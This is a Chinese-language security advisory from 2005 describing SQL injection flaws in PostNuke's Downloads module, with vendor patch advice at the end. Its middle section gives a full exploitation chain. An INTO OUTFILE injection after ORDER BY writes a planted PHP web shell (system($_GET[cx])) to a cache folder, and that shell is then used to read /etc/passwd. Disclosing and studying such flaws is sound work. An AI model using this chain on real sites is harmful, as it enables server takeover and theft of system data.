安全研究
安全漏洞
PostNuke多个脚本远程SQL注入漏洞
发布日期:2005-02-28
更新日期:2005-03-04
受影响系统:
PostNuke PostNuke Phoenix 0.760-RC2描述:
PostNuke PostNuke Phoenix 0.750
BUGTRAQ ID: 12684
PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。
PHP-Nuke多个脚本对用户提交的参数缺少充分过滤,远程攻击者可以利用这个漏洞进行SQL注入攻击,可能获得敏感信息或修改数据库。
问题一是modules/Downloads/dl-search.php的search()函数存在SQL注入:
- -51-68---
if ($show!="") {
$downloadsresults = $show;
} else {
$show=$downloadsresults;
}
//$query = stripslashes($query);
$column = &$pntable['downloads_downloads_column'];
$sql = "SELECT $column[lid], $column[cid], $column[sid],
$column[title], $column[url], $column[description],
$column[date], $column[hits], \
$column[downloadratingsummary], $column[totalvotes], $column[totalcomments],
$column[filesize], $column[version], $column[homepage]
FROM $pntable[downloads_downloads]
WHERE $column[title] LIKE \
'%".pnVarPrepForStore($query)."%'
OR $column[description] LIKE \
'%".pnVarPrepForStore($query)."%'
ORDER BY $pntable[downloads_downloads].$orderby";
$result = $dbconn->SelectLimit($sql, $downloadsresults, (int)$min);
问题存在于$show变量,提交如下URL:
http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&show=cXIb8O3
会显示如下错误信息:
- ---------------
Fatal error: Call to a member function PO_RecordCount() on a non-object in \
/www/PostNuke-0.760-RC2/html/modules/Downloads/dl-search.php on line \
74
- ---------------
由于这个SQL注入在ORDER BY之后,不能使用UNION,但检查这个漏洞:
先检查PostNuke路径:
http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&show=cXIb8O3
Error message :
- ---------------
Fatal error: Call to a member function PO_RecordCount() on a non-object in \
/www/PostNuke-0.760-RC2/html/modules/Downloads/dl-search.php on line \
74
- ---------------
如前缀为/www/PostNuke-0.760-RC2/html/。
现在增加新的downloadinsert到"Description"或"Home page" php代码,如:
- ---
<? system($_GET[cx]); ?>
- ---
这个download存在于db中,进入:
http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=[Program \
name]&show=10%20INTO%20OUTFILE%20'/[PATH]/pnTemp/Xanthia_cache/cXIb8O3.php'/*
就可以执行如下URL:
http://[HOST]/[DIR]/pnTemp/Xanthia_cache/cXIb8O3.php?cx=cat /etc/passwd
问题二是对$orderby缺少正确过滤,提交如下请求可进行SQL注入攻击:
http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&orderby=
<*来源:Maksymilian Arciemowicz (max@jestsuper.pl)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110962710805864&w=2
*>
建议:
厂商补丁:
PostNuke
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.postnuke.com/
浏览次数:3011
严重程度:0(网友投票)
绿盟科技给您安全的保障